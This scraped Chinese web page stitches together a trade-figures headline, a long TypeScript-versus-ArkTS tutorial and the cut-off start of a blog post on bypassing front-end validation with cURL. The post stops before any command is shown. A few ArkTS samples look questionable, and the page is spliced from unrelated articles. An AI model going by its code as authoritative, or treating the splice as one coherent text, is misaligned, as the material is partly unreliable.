中国11月以美元计价出口同比增长5.9%,进口同比增长1.9%
对照typescript学习鸿蒙ArkTS
HarmonyOS选择ArkTS的原因
-
TypeScript超集:ArkTS是TypeScript的超集,保留了TypeScript的核心特性,降低了开发者的学习成本,使得熟悉TypeScript的开发者能够快速上手。
-
性能优化:ArkTS针对鸿蒙系统进行了深度优化,提供了更好的运行时性能和更低的内存占耗,特别是在声明式UI框架ArkUI中表现出色。
-
类型安全增强:相比TypeScript,ArkTS进一步强化了类型系统,禁用了一些动态特性(如any类型的部分用法),提供更严格的类型检查,减少运行时错误。
-
生态整合:ArkTS与鸿蒙生态深度集成,提供了丰富的系统API和组件库,能够充分发挥鸿蒙系统的分布式能力和跨设备协同特性。
基础语法
程序入口
TypeScript:
TypeScript/JavaScript应用通常没有固定的程序入口,在Node.js环境中会从package.json指定的入口文件开始执行,在浏览器环境中则从HTML引入的脚本开始执行。
ArkTS:
ArkTS应用有明确的入口点,通常在entry/src/main/ets/entryability/EntryAbility.ets文件中
import UIAbility from '@ohos.app.ability.UIAbility';
import window from '@ohos.window';
export default class EntryAbility extends UIAbility {
onCreate(want, launchParam) {
console.info('Ability onCreate');
}
onWindowStageCreate(windowStage: window.WindowStage) {
windowStage.loadContent('pages/Index', (err, data) => {
// 加载页面
});
}
}
页面入口通常在pages/Index.ets中:
@Entry
@Component
struct Index {
build() {
// UI构建
}
}
数据类型
基本类型
TypeScript与ArkTS共同支持的类型:
-
boolean: 布尔类型 -
number: 数字类型 -
string: 字符串类型 -
null: 空值 -
undefined: 未定义 -
bigint: 大整数(ES2020+) -
symbol: 符号类型
// TypeScript & ArkTS
let isDone: boolean = false;
let count: number = 10;
let name: string = "HarmonyOS";
let big: bigint = 100n;
Array(数组)
TypeScript:
let list1: number[] = [1, 2, 3];
let list2: Array<number> = [1, 2, 3];
ArkTS:
// 推荐使用类型注解
let list1: number[] = [1, 2, 3];
let list2: Array<number> = [1, 2, 3];
// ArkTS中数组操作与TS基本一致
list1.push(4);
list1.forEach((item) => {
console.log(item.toString());
});
Tuple(元组)
TypeScript:
let tuple: [string, number] = ['hello', 10];
ArkTS:
// ArkTS同样支持元组
let tuple: [string, number] = ['hello', 10];
let first: string = tuple[0];
let second: number = tuple[1];
Enum(枚举)
TypeScript:
enum Color {
Red,
Green,
Blue
}
enum Status {
Success = 'SUCCESS',
Fail = 'FAIL'
}
ArkTS:
// ArkTS支持数字枚举和字符串枚举
enum Color {
Red,
Green,
Blue
}
enum Status {
Success = 'SUCCESS',
Fail = 'FAIL'
}
let color: Color = Color.Red;
any 和 unknown
TypeScript:
let notSure: any = 4;
notSure = "maybe a string";
notSure = false;
let value: unknown = 4;
// unknown类型更安全,使用前需要类型检查
if (typeof value === 'string') {
console.log(value.toUpperCase());
}
ArkTS:
// ArkTS限制了any的使用,推荐使用具体类型
// 在某些场景下可以使用,但会有编译警告
let notSure: any = 4; // 不推荐
// 推荐使用联合类型替代
let value: string | number = 4;
value = "string";
Object(对象)
TypeScript:
interface Person {
name: string;
age: number;
email?: string; // 可选属性
}
let person: Person = {
name: 'Zhang San',
age: 25
};
ArkTS:
// ArkTS中接口定义方式相同
interface Person {
name: string;
age: number;
email?: string;
}
let person: Person = {
name: 'Zhang San',
age: 25
};
// 也可以使用class
class PersonClass {
name: string;
age: number;
constructor(name: string, age: number) {
this.name = name;
this.age = age;
}
}
变量声明
let、const、var
TypeScript:
var oldStyle = 'avoid using var'; // 不推荐
let mutableValue = 'can change';
const immutableValue = 'cannot change';
ArkTS:
// ArkTS同样支持let和const,不推荐使用var
let mutableValue: string = 'can change';
const immutableValue: string = 'cannot change';
// ArkTS强制要求类型注解(在某些情况下)
let count: number = 0; // 推荐明确指定类型
类型推断
TypeScript:
let message = "Hello"; // 推断为string类型
let count = 42; // 推断为number类型
ArkTS:
// ArkTS支持类型推断,但更推荐显式声明
let message = "Hello"; // 可以推断
let count: number = 42; // 推荐显式声明
函数
函数声明
TypeScript:
// 函数声明
function add(a: number, b: number): number {
return a + b;
}
// 函数表达式
const multiply = function(a: number, b: number): number {
return a * b;
};
// 箭头函数
const subtract = (a: number, b: number): number => {
return a - b;
};
// 简写箭头函数
const divide = (a: number, b: number): number => a / b;
ArkTS:
// ArkTS支持相同的函数声明方式
function add(a: number, b: number): number {
return a + b;
}
const multiply = function(a: number, b: number): number {
return a * b;
};
const subtract = (a: number, b: number): number => {
return a - b;
};
const divide = (a: number, b: number): number => a / b;
可选参数和默认参数
TypeScript:
function buildName(firstName: string, lastName?: string): string {
if (lastName) {
return firstName + " " + lastName;
}
return firstName;
}
function buildFullName(firstName: string, lastName: string = "Smith"): string {
return firstName + " " + lastName;
}
ArkTS:
// ArkTS中可选参数和默认参数用法相同
function buildName(firstName: string, lastName?: string): string {
if (lastName) {
return firstName + " " + lastName;
}
return firstName;
}
function buildFullName(firstName: string, lastName: string = "Smith"): string {
return firstName + " " + lastName;
}
剩余参数
TypeScript:
function sum(...numbers: number[]): number {
return numbers.reduce((acc, curr) => acc + curr, 0);
}
sum(1, 2, 3, 4); // 10
ArkTS:
// ArkTS支持剩余参数
function sum(...numbers: number[]): number {
return numbers.reduce((acc, curr) => acc + curr, 0);
}
类
类的定义
TypeScript:
class Person {
name: string;
age: number;
constructor(name: string, age: number) {
this.name = name;
this.age = age;
}
greet(): string {
return `Hello, I'm ${this.name}`;
}
}
const person = new Person("Zhang San", 25);
ArkTS:
// ArkTS类定义方式相同
class Person {
name: string;
age: number;
constructor(name: string, age: number) {
this.name = name;
this.age = age;
}
greet(): string {
return `Hello, I'm ${this.name}`;
}
}
const person = new Person("Zhang San", 25);
访问修饰符
TypeScript:
class Animal {
public name: string; // 公共属性
private age: number; // 私有属性
protected type: string; // 受保护属性
constructor(name: string, age: number, type: string) {
this.name = name;
this.age = age;
this.type = type;
}
public getAge(): number {
return this.age;
}
}
ArkTS:
// ArkTS支持相同的访问修饰符
class Animal {
public name: string;
private age: number;
protected type: string;
constructor(name: string, age: number, type: string) {
this.name = name;
this.age = age;
this.type = type;
}
public getAge(): number {
return this.age;
}
}
继承
TypeScript:
class Animal {
name: string;
constructor(name: string) {
this.name = name;
}
move(distance: number = 0): void {
console.log(`${this.name} moved ${distance}m.`);
}
}
class Dog extends Animal {
bark(): void {
console.log('Woof! Woof!');
}
}
const dog = new Dog('Buddy');
dog.bark();
dog.move(10);
ArkTS:
// ArkTS继承方式相同
class Animal {
name: string;
constructor(name: string) {
this.name = name;
}
move(distance: number = 0): void {
console.info(`${this.name} moved ${distance}m.`);
}
}
class Dog extends Animal {
bark(): void {
console.info('Woof! Woof!');
}
}
const dog = new Dog('Buddy');
dog.bark();
dog.move(10);
静态成员
TypeScript:
class MathUtil {
static PI: number = 3.14159;
static calculateCircumference(radius: number): number {
return 2 * MathUtil.PI * radius;
}
}
console.log(MathUtil.PI);
console.log(MathUtil.calculateCircumference(10));
ArkTS:
// ArkTS静态成员用法相同
class MathUtil {
static PI: number = 3.14159;
static calculateCircumference(radius: number): number {
return 2 * MathUtil.PI * radius;
}
}
console.info(MathUtil.PI.toString());
console.info(MathUtil.calculateCircumference(10).toString());
接口
接口定义
TypeScript:
interface User {
id: number;
name: string;
email?: string;
readonly createdAt: Date;
}
interface Searchable {
search(keyword: string): User[];
}
class UserService implements Searchable {
search(keyword: string): User[] {
// 实现搜索逻辑
return [];
}
}
ArkTS:
// ArkTS接口定义方式相同
interface User {
id: number;
name: string;
email?: string;
readonly createdAt: Date;
}
interface Searchable {
search(keyword: string): User[];
}
class UserService implements Searchable {
search(keyword: string): User[] {
return [];
}
}
接口继承
TypeScript:
interface Shape {
color: string;
}
interface Square extends Shape {
sideLength: number;
}
let square: Square = {
color: "blue",
sideLength: 10
};
ArkTS:
// ArkTS接口继承方式相同
interface Shape {
color: string;
}
interface Square extends Shape {
sideLength: number;
}
let square: Square = {
color: "blue",
sideLength: 10
};
泛型
泛型函数
TypeScript:
function identity<T>(arg: T): T {
return arg;
}
let output1 = identity<string>("hello");
let output2 = identity<number>(42);
ArkTS:
// ArkTS支持泛型
function identity<T>(arg: T): T {
return arg;
}
let output1 = identity<string>("hello");
let output2 = identity<number>(42);
泛型类
TypeScript:
class GenericNumber<T> {
zeroValue: T;
add: (x: T, y: T) => T;
}
let myGenericNumber = new GenericNumber<number>();
myGenericNumber.zeroValue = 0;
myGenericNumber.add = function(x, y) { return x + y; };
ArkTS:
// ArkTS泛型类用法相同
class GenericNumber<T> {
zeroValue: T;
add: (x: T, y: T) => T;
}
let myGenericNumber = new GenericNumber<number>();
myGenericNumber.zeroValue = 0;
myGenericNumber.add = function(x, y) { return x + y; };
泛型约束
TypeScript:
interface Lengthwise {
length: number;
}
function logLength<T extends Lengthwise>(arg: T): T {
console.log(arg.length);
return arg;
}
logLength({ length: 10, value: 3 });
ArkTS:
// ArkTS泛型约束用法相同
interface Lengthwise {
length: number;
}
function logLength<T extends Lengthwise>(arg: T): T {
console.info(arg.length.toString());
return arg;
}
异步编程
Promise
TypeScript:
function fetchData(): Promise<string> {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve("Data loaded");
}, 1000);
});
}
fetchData()
.then(data => console.log(data))
.catch(error => console.error(error));
ArkTS:
// ArkTS支持Promise
function fetchData(): Promise<string> {
return new Promise((resolve, reject) => {
setTimeout(() => {
resolve("Data loaded");
}, 1000);
});
}
fetchData()
.then(data => console.info(data))
.catch(error => console.error(error));
async/await
TypeScript:
async function loadUserData(userId: number): Promise<User> {
try {
const response = await fetch(`/api/users/${userId}`);
const user = await response.json();
return user;
} catch (error) {
console.error('Failed to load user:', error);
throw error;
}
}
// 使用
async function main() {
const user = await loadUserData(1);
console.log(user);
}
ArkTS:
// ArkTS支持async/await
import http from '@ohos.net.http';
async function loadUserData(userId: number): Promise<object> {
try {
let httpRequest = http.createHttp();
const response = await httpRequest.request(`https://api.example.com/users/${userId}`);
return JSON.parse(response.result.toString());
} catch (error) {
console.error('Failed to load user:', error);
throw error;
}
}
// 使用
async function main() {
const user = await loadUserData(1);
console.info(JSON.stringify(user));
}
模块系统
导出
TypeScript:
// utils.ts
export function add(a: number, b: number): number {
return a + b;
}
export class Calculator {
multiply(a: number, b: number): number {
return a * b;
}
}
export default class MathUtil {
static PI = 3.14159;
}
ArkTS:
// utils.ets
export function add(a: number, b: number): number {
return a + b;
}
export class Calculator {
multiply(a: number, b: number): number {
return a * b;
}
}
// ArkTS也支持默认导出
export default class MathUtil {
static PI = 3.14159;
}
导入
TypeScript:
// 命名导入
import { add, Calculator } from './utils';
// 默认导入
import MathUtil from './utils';
// 导入所有
import * as Utils from './utils';
// 重命名导入
import { add as sum } from './utils';
ArkTS:
// ArkTS导入方式相同
import { add, Calculator } from './utils';
import MathUtil from './utils';
import * as Utils from './utils';
import { add as sum } from './utils';
ArkTS独有特性(TypeScript没有的)
1. 声明式UI装饰器系统
这是ArkTS最重要的特性之一,TypeScript完全没有这套体系。
@Component - 自定义组件装饰器
ArkTS独有:
// TypeScript中没有这种组件装饰器
@Component
struct CustomButton {
private text: string = 'Click';
build() {
Button(this.text)
.width(100)
.height(40)
}
}
@Entry - 页面入口装饰器
ArkTS独有:
// 标记页面入口组件,TypeScript没有这个概念
@Entry
@Component
struct HomePage {
build() {
Column() {
Text('Home Page')
}
}
}
@Preview - 预览装饰器
ArkTS独有:
// 用于在DevEco Studio中预览组件,TypeScript没有
@Preview
@Component
struct PreviewComponent {
build() {
Text('Preview Mode')
.fontSize(20)
}
}
2. 状态管理装饰器
这是ArkTS最核心的特性,用于响应式UI开发,TypeScript完全没有。
@State - 组件内部状态
ArkTS独有:
@Component
struct Counter {
// @State装饰器使变量具有响应式能力
// 当count变化时,UI会自动更新
@State count: number = 0;
build() {
Column() {
Text(`Count: ${this.count}`)
Button('Increase')
.onClick(() => {
this.count++; // 修改会触发UI刷新
})
}
}
}
TypeScript对比:
// TypeScript需要手动管理状态更新
class Counter {
private count: number = 0;
increase() {
this.count++;
// 需要手动调用渲染函数
this.render();
}
render() {
// 手动更新DOM
}
}
@Prop - 单向数据传递
ArkTS独有:
@Component
struct ChildComponent {
// @Prop从父组件接收数据,单向传递
// 子组件不能修改@Prop装饰的变量
@Prop message: string;
build() {
Text(this.message)
}
}
@Entry
@Component
struct ParentComponent {
@State parentMessage: string = 'Hello';
build() {
Column() {
ChildComponent({ message: this.parentMessage })
Button('Change')
.onClick(() => {
this.parentMessage = 'Hi'; // 子组件会自动更新
})
}
}
}
@Link - 双向数据绑定
ArkTS独有:
@Component
struct ChildComponent {
// @Link实现父子组件双向数据同步
// 子组件可以修改,会同步到父组件
@Link count: number;
build() {
Column() {
Text(`Child: ${this.count}`)
Button('Child +1')
.onClick(() => {
this.count++; // 修改会同步到父组件
})
}
}
}
@Entry
@Component
struct ParentComponent {
@State parentCount: number = 0;
build() {
Column() {
Text(`Parent: ${this.parentCount}`)
// 使用$符号传递引用
ChildComponent({ count: $parentCount })
}
}
}
TypeScript对比:
// TypeScript需要通过回调函数实现双向绑定
class ChildComponent {
constructor(
private count: number,
private onChange: (value: number) => void
) {}
increment() {
this.count++;
this.onChange(this.count); // 手动通知父组件
}
}
@Provide 和 @Consume - 跨层级传递
ArkTS独有:
// 祖先组件提供数据
@Entry
@Component
struct GrandParent {
@Provide('theme') theme: string = 'dark';
build() {
Column() {
Parent()
}
}
}
@Component
struct Parent {
build() {
Column() {
Child()
}
}
}
// 后代组件消费数据,无需逐层传递
@Component
struct Child {
@Consume('theme') theme: string;
build() {
Text(`Theme: ${this.theme}`)
.fontColor(this.theme === 'dark' ? Color.White : Color.Black)
}
}
TypeScript对比:
// TypeScript需要使用Context或逐层传递props
// React示例
const ThemeContext = React.createContext('light');
function GrandParent() {
return (
<ThemeContext.Provider value="dark">
<Parent />
</ThemeContext.Provider>
);
}
function Child() {
const theme = useContext(ThemeContext);
return <div>{theme}</div>;
}
@ObjectLink 和 @Observed - 嵌套对象响应式
ArkTS独有:
// @Observed装饰类,使其实例具有响应式能力
@Observed
class Person {
name: string;
age: number;
constructor(name: string, age: number) {
this.name = name;
this.age = age;
}
}
@Component
struct PersonCard {
// @ObjectLink用于嵌套对象的双向同步
@ObjectLink person: Person;
build() {
Column() {
Text(`Name: ${this.person.name}`)
Text(`Age: ${this.person.age}`)
Button('Birthday')
.onClick(() => {
this.person.age++; // 修改会触发UI更新
})
}
}
}
@Entry
@Component
struct PersonList {
@State people: Person[] = [
new Person('Zhang San', 25),
new Person('Li Si', 30)
];
build() {
Column() {
ForEach(this.people, (person: Person) => {
PersonCard({ person: person })
})
}
}
}
@Watch - 状态监听
ArkTS独有:
@Component
struct WatchExample {
@State @Watch('onCountChange') count: number = 0;
@State message: string = '';
// 监听count变化
onCountChange() {
this.message = `Count changed to ${this.count}`;
console.info(`Count is now: ${this.count}`);
}
build() {
Column() {
Text(this.message)
Button('Increase')
.onClick(() => {
this.count++; // 会触发onCountChange
})
}
}
}
3. 声明式UI构建语法
struct 结构体(用于UI组件)
ArkTS独有:
// ArkTS使用struct定义UI组件
// TypeScript没有这种UI组件定义方式
@Component
struct MyComponent {
build() {
Column() {
Text('Hello')
}
}
}
build() 方法
ArkTS独有:
// build方法是ArkTS组件的核心
// 用于声明式地描述UI结构
@Component
struct UIExample {
build() {
// 链式调用设置属性
Column() {
Text('Title')
.fontSize(20)
.fontWeight(FontWeight.Bold)
Button('Click')
.width(100)
.onClick(() => {
console.info('Clicked');
})
}
.width('100%')
.height('100%')
.justifyContent(FlexAlign.Center)
}
}
4. 内置UI组件
ArkTS提供了大量内置UI组件,TypeScript没有。
容器组件
ArkTS独有:
@Entry
@Component
struct ContainerExample {
build() {
// Column - 垂直布局
Column({ space: 10 }) {
Text('Item 1')
Text('Item 2')
}
// Row - 水平布局
Row({ space: 20 }) {
Text('Left')
Text('Right')
}
// Stack - 层叠布局
Stack() {
Image($r('app.media.bg'))
Text('Overlay Text')
}
// Flex - 弹性布局
Flex({ direction: FlexDirection.Row, wrap: FlexWrap.Wrap }) {
Text('Item 1').width('30%')
Text('Item 2').width('30%')
Text('Item 3').width('30%')
}
// Grid - 网格布局
Grid() {
GridItem() { Text('1') }
GridItem() { Text('2') }
GridItem() { Text('3') }
}
.columnsTemplate('1fr 1fr 1fr')
.rowsTemplate('1fr 1fr')
}
}
基础组件
ArkTS独有:
@Entry
@Component
struct BasicComponents {
@State inputValue: string = '';
@State isChecked: boolean = false;
@State sliderValue: number = 50;
build() {
Column({ space: 15 }) {
// Text组件
Text('Hello HarmonyOS')
.fontSize(24)
.fontColor(Color.Blue)
.fontWeight(FontWeight.Bold)
// Button组件
Button('Click Me')
.type(ButtonType.Capsule)
.width(200)
.onClick(() => {
console.info('Button clicked');
})
// Image组件
Image($r('app.media.icon'))
.width(100)
.height(100)
.borderRadius(50)
// TextInput组件
TextInput({ placeholder: 'Enter text' })
.width('90%')
.onChange((value: string) => {
this.inputValue = value;
})
// Checkbox组件
Checkbox()
.select(this.isChecked)
.onChange((value: boolean) => {
this.isChecked = value;
})
// Slider组件
Slider({
value: this.sliderValue,
min: 0,
max: 100,
step: 1
})
.width('90%')
.onChange((value: number) => {
this.sliderValue = value;
})
// Progress组件
Progress({ value: this.sliderValue, total: 100 })
.width('90%')
}
.width('100%')
.height('100%')
.padding(20)
}
}
5. 条件渲染和循环渲染
if/else 条件渲染
ArkTS独有:
@Component
struct ConditionalRender {
@State isLoggedIn: boolean = false;
@State userType: string = 'guest';
build() {
Column() {
// if条件渲染
if (this.isLoggedIn) {
Text('Welcome back!')
.fontSize(20)
} else {
Text('Please login')
.fontSize(16)
}
// if-else if-else
if (this.userType === 'admin') {
Button('Admin Panel')
} else if (this.userType === 'user') {
Button('User Dashboard')
} else {
Button('Guest Mode')
}
// 三元表达式
Text(this.isLoggedIn ? 'Online' : 'Offline')
.fontColor(this.isLoggedIn ? Color.Green : Color.Gray)
}
}
}
ForEach 循环渲染
ArkTS独有:
@Entry
@Component
struct ListExample {
@State items: string[] = ['Apple', 'Banana', 'Orange', 'Grape'];
build() {
Column() {
// ForEach循环渲染
ForEach(
this.items, // 数据源
(item: string, index: number) => { // 渲染函数
Row() {
Text(`${index + 1}. ${item}`)
.fontSize(18)
}
.width('100%')
.height(50)
.padding(10)
},
(item: string) => item // 键生成函数(可选)
)
}
}
}
LazyForEach 懒加载列表
ArkTS独有:
// 实现IDataSource接口
class MyDataSource implements IDataSource {
private list: string[] = [];
constructor(list: string[]) {
this.list = list;
}
totalCount(): number {
return this.list.length;
}
getData(index: number): string {
return this.list[index];
}
registerDataChangeListener(listener: DataChangeListener): void {
// 注册监听器
}
unregisterDataChangeListener(listener: DataChangeListener): void {
// 注销监听器
}
}
@Entry
@Component
struct LazyListExample {
private data: MyDataSource = new MyDataSource(
Array.from({ length: 1000 }, (_, i) => `Item ${i}`)
);
build() {
List() {
// LazyForEach实现懒加载,只渲染可见区域
LazyForEach(
this.data,
(item: string) => {
ListItem() {
Text(item)
.width('100%')
.height(50)
}
},
(item: string) => item
)
}
.width('100%')
.height('100%')
}
}
6. @Builder 自定义构建函数
ArkTS独有:
@Component
struct BuilderExample {
@State count: number = 0;
// @Builder装饰的函数可以复用UI结构
@Builder CustomButton(text: string, action: () => void) {
Button(text)
.width(150)
.height(40)
.onClick(action)
}
// 全局@Builder(在struct外部)
@Builder
function GlobalHeader(title: string) {
Row() {
Text(title)
.fontSize(24)
.fontWeight(FontWeight.Bold)
}
.width('100%')
.height(60)
.backgroundColor('#f0f0f0')
}
build() {
Column({ space: 20 }) {
GlobalHeader('My Page')
Text(`Count: ${this.count}`)
// 复用自定义构建函数
this.CustomButton('Increase', () => {
this.count++;
})
this.CustomButton('Decrease', () => {
this.count--;
})
this.CustomButton('Reset', () => {
this.count = 0;
})
}
}
}
7. @Styles 样式复用
ArkTS独有:
// 全局@Styles
@Styles function globalFancyText() {
.fontSize(20)
.fontColor(Color.Blue)
.fontWeight(FontWeight.Bold)
}
@Component
struct StylesExample {
// 组件内@Styles
@Styles fancyButton() {
.width(200)
.height(50)
.backgroundColor(Color.Orange)
.borderRadius(25)
}
build() {
Column({ space: 20 }) {
// 使用全局样式
Text('Global Style')
.globalFancyText()
// 使用组件样式
Button('Fancy Button')
.fancyButton()
Button('Another Fancy Button')
.fancyButton()
}
}
}
8. @Extend 扩展组件样式
ArkTS独有:
// @Extend只能用于扩展内置组件
@Extend(Text) function fancyText(fontSize: number, color: Color) {
.fontSize(fontSize)
.fontColor(color)
.fontWeight(FontWeight.Bold)
.textAlign(TextAlign.Center)
.padding(10)
.backgroundColor('#f5f5f5')
.borderRadius(8)
}
@Extend(Button) function primaryButton() {
.width(200)
.height(50)
.backgroundColor(Color.Blue)
.fontColor(Color.White)
.borderRadius(25)
}
@Entry
@Component
struct ExtendExample {
build() {
Column({ space: 20 }) {
// 使用扩展样式
Text('Extended Text')
.fancyText(18, Color.Red)
Text('Another Text')
.fancyText(16, Color.Green)
Button('Primary Action')
.primaryButton()
}
}
}
9. @CustomDialog 自定义弹窗
ArkTS独有:
@CustomDialog
struct CustomDialogExample {
controller: CustomDialogController;
title: string = 'Dialog Title';
message: string = 'Dialog message';
confirm: () => void;
build() {
Column({ space: 20 }) {
Text(this.title)
.fontSize(20)
.fontWeight(FontWeight.Bold)
Text(this.message)
.fontSize(16)
Row({ space: 20 }) {
Button('Cancel')
.onClick(() => {
this.controller.close();
})
Button('Confirm')
.onClick(() => {
this.confirm();
this.controller.close();
})
}
}
.padding(20)
}
}
@Entry
@Component
struct DialogPage {
dialogController: CustomDialogController = new CustomDialogController({
builder: CustomDialogExample({
title: 'Delete Confirmation',
message: 'Are you sure you want to delete this item?',
confirm: () => {
console.info('Item deleted');
}
}),
autoCancel: true
});
build() {
Column() {
Button('Show Dialog')
.onClick(() => {
this.dialogController.open();
})
}
}
}
10. @AnimatableExtend 可动画属性扩展
ArkTS独有:
@AnimatableExtend(Text) function animatableFontSize(size: number) {
.fontSize(size)
}
@Entry
@Component
struct AnimationExample {
@State fontSize: number = 20;
build() {
Column({ space: 20 }) {
Text('Animated Text')
.animatableFontSize(this.fontSize)
.animation({
duration: 500,
curve: Curve.EaseInOut
})
Button('Increase Font')
.onClick(() => {
this.fontSize += 5;
})
Button('Decrease Font')
.onClick(() => {
this.fontSize -= 5;
})
}
}
}
11. @Concurrent 并发装饰器
ArkTS独有:
// @Concurrent用于标记可以并发执行的函数
@Concurrent
function heavyComputation(data: number[]): number {
// 耗时计算
let sum = 0;
for (let i = 0; i < data.length; i++) {
sum += data[i] * data[i];
}
return sum;
}
@Entry
@Component
struct ConcurrentExample {
@State result: number = 0;
@State loading: boolean = false;
async performHeavyTask() {
this.loading = true;
const data = Array.from({ length: 1000000 }, (_, i) => i);
try {
// 在子线程中执行
this.result = await taskpool.execute(heavyComputation, data);
} catch (error) {
console.error('Task failed:', error);
} finally {
this.loading = false;
}
}
build() {
Column({ space: 20 }) {
if (this.loading) {
LoadingProgress()
} else {
Text(`Result: ${this.result}`)
}
Button('Start Heavy Task')
.onClick(() => {
this.performHeavyTask();
})
}
}
}
12. @Reusable 组件复用
ArkTS独有:
// @Reusable标记可复用组件,提升性能
@Reusable
@Component
struct ReusableListItem {
@State item: string = '';
// 组件即将被复用时调用
aboutToReuse(params: Record<string, Object>) {
this.item = params.item as string;
}
build() {
Row() {
Text(this.item)
.fontSize(16)
}
.width('100%')
.height(50)
.padding(10)
}
}
@Entry
@Component
struct ReusableListExample {
@State items: string[] = Array.from({ length: 100 }, (_, i) => `Item ${i}`);
build() {
List() {
ForEach(this.items, (item: string) => {
ListItem() {
ReusableListItem({ item: item })
}
})
}
}
}
13. 资源引用系统
ArkTS独有:
@Entry
@Component
struct ResourceExample {
build() {
Column({ space: 20 }) {
// $r引用资源文件
Text($r('app.string.hello')) // 引用字符串资源
.fontSize($r('app.float.title_font_size')) // 引用数值资源
.fontColor($r('app.color.primary')) // 引用颜色资源
Image($r('app.media.icon')) // 引用图片资源
.width(100)
.height(100)
// $rawfile引用rawfile目录下的文件
Image($rawfile('background.png'))
// 使用资源的格式化字符串
Text($r('app.string.welcome_message', 'Zhang San'))
}
}
}
14. LocalStorage 页面级状态管理
ArkTS独有:
// 创建LocalStorage实例
let storage = new LocalStorage({ 'count': 0 });
@Entry(storage)
@Component
struct PageA {
// @LocalStorageLink双向绑定
@LocalStorageLink('count') count: number = 0;
build() {
Column({ space: 20 }) {
Text(`Count: ${this.count}`)
Button('Increase')
.onClick(() => {
this.count++;
})
Button('Go to Page B')
.onClick(() => {
router.pushUrl({ url: 'pages/PageB' });
})
}
}
}
@Entry(storage)
@Component
struct PageB {
// @LocalStorageProp单向同步
@LocalStorageProp('count') count: number = 0;
build() {
Column() {
Text(`Count from Page A: ${this.count}`)
}
}
}
15. AppStorage 应用级状态管理
ArkTS独有:
// 初始化应用全局状态
AppStorage.SetOrCreate('userInfo', { name: 'Guest', isLoggedIn: false });
AppStorage.SetOrCreate('theme', 'light');
@Entry
@Component
struct HomePage {
// @StorageLink双向绑定应用全局状态
@StorageLink('userInfo') userInfo: object = {};
@StorageLink('theme') theme: string = 'light';
build() {
Column() {
Text(`User: ${this.userInfo['name']}`)
Text(`Theme: ${this.theme}`)
Button('Toggle Theme')
.onClick(() => {
this.theme = this.theme === 'light' ? 'dark' : 'light';
})
}
}
}
@Component
struct SettingsPage {
// @StorageProp单向同步
@StorageProp('theme') theme: string = 'light';
build() {
Column() {
Text(`Current Theme: ${this.theme}`)
}
}
}
16. PersistentStorage 持久化存储
ArkTS独有:
// 持久化存储,应用重启后数据仍然存在
PersistentStorage.PersistProp('token', '');
PersistentStorage.PersistProp('username', 'Guest');
@Entry
@Component
struct LoginPage {
@StorageLink('token') token: string = '';
@StorageLink('username') username: string = '';
login(username: string, password: string) {
// 登录逻辑
this.token = 'generated_token';
this.username = username;
// 数据会自动持久化
}
build() {
Column() {
if (this.token) {
Text(`Welcome, ${this.username}`)
} else {
Button('Login')
.onClick(() => {
this.login('user123', 'password');
})
}
}
}
}
17. Environment 环境变量
ArkTS独有:
// 监听系统环境变化
Environment.EnvProp('colorMode', ColorMode.LIGHT);
Environment.EnvProp('languageCode', 'zh');
@Entry
@Component
struct EnvironmentExample {
@StorageProp('colorMode') colorMode: number = ColorMode.LIGHT;
@StorageProp('languageCode') language: string = 'zh';
build() {
Column() {
Text(`Color Mode: ${this.colorMode === ColorMode.LIGHT ? 'Light' : 'Dark'}`)
Text(`Language: ${this.language}`)
}
.backgroundColor(this.colorMode === ColorMode.LIGHT ? Color.White : Color.Black)
}
}
ArkTS与TypeScript的主要区别总结
TypeScript没有但ArkTS有的核心特性:
-
声明式UI装饰器系统
-
@Component、@Entry、@Preview等组件装饰器 - TypeScript完全没有UI组件的概念
-
-
响应式状态管理装饰器
-
@State、@Prop、@Link、@Provide、@Consume -
@ObjectLink、@Observed、@Watch - TypeScript需要借助第三方库(如MobX、Redux)
-
-
UI构建专用语法
-
struct结构体定义组件 -
build()方法声明式构建UI - 链式调用设置属性
- TypeScript没有这种内置UI语法
-
-
内置UI组件库
- Column、Row、Stack、Flex、Grid等容器组件
- Text、Button、Image、TextInput等基础组件
- TypeScript需要依赖第三方UI框架
-
UI复用装饰器
-
@Builder自定义构建函数 -
@Styles样式复用 -
@Extend扩展组件 -
@CustomDialog自定义弹窗 - TypeScript没有这些UI复用机制
-
-
条件和循环渲染
-
ForEach、LazyForEach专用循环语法 - 在build方法中直接使用if/else
- TypeScript需要使用JSX或模板语法
-
-
状态管理系统
-
LocalStorage页面级状态 -
AppStorage应用级状态 -
PersistentStorage持久化存储 -
Environment环境变量 - TypeScript需要第三方状态管理库
-
-
资源管理系统
-
$r()资源引用 -
$rawfile()原始文件引用 - TypeScript没有统一的资源管理系统
-
-
并发和性能优化
-
@Concurrent并发装饰器 -
@Reusable组件复用 -
@AnimatableExtend动画扩展 - TypeScript需要手动管理
-
-
鸿蒙特有API
- 分布式能力API
- 系统服务API
- 设备协同API
ArkTS限制的TypeScript特性:
-
禁用或限制的特性
- 严格限制
any类型使用 - 禁止原型链操作
- 禁止
eval和Function构造器 - 禁止
with语句 - 限制动态属性访问
- 严格限制
-
更严格的类型要求
- 强制类型声明
- 更严格的null安全检查
- 更严格的类型推断
总结: ArkTS在TypeScript基础上,新增了完整的声明式UI开发体系、响应式状态管理系统、内置组件库等大量TypeScript没有的特性,同时限制了一些动态特性以提高性能和类型安全。这使得ArkTS成为专门为鸿蒙应用开发设计的语言。
为什么永远不要相信前端输入?绕过前端验证,只需一个 cURL 命令!
![]()
大家好😁。
上个月 Code Review,我拦下了一个新人的代码。
他写了一个转账功能,前端做了极其严密的校验:
- 金额必须是数字。
- 金额必须大于 0。
- 余额不足时,提交按钮是
disabled的。 - 甚至还写了复杂的正则表达式,防止输入负号。
他自信满满地跟我说:老大,放心吧,我前端卡得死死的,用户绝对传不了非法数据。
我笑了笑🤣,没看他的后端代码,直接打开终端,敲了一行命令。
0.5 秒后,他的数据库里多了一笔“-10000”的转账记录,余额瞬间暴涨!
他看着屏幕,目瞪口呆:这……你是怎么做到的?我按钮明明置灰了啊!
今天,我就来揭秘这个所有后端(和全栈)工程师必须铭记的第一铁律:
前端验证,在黑客眼里,只是个小case🤔。
我是如何羞辱前端验证的
假设我们有一个购物网站,前端有一个简单的购买表单。
前端逻辑(看似完美):
// Front-end code
function submitOrder(price, quantity) {
// 1. 校验价格不能被篡改
if (price !== 999) {
alert("价格异常!");
return;
}
// 2. 校验数量必须为正数
if (quantity <= 0) {
alert("数量必须大于0!");
return;
}
// 发送请求
api.post('/buy', { price, quantity });
}
你看,用户在浏览器里确实没法作恶。他改不了价格,也填不了负数。
但是黑客,从来不用浏览器点你的按钮。
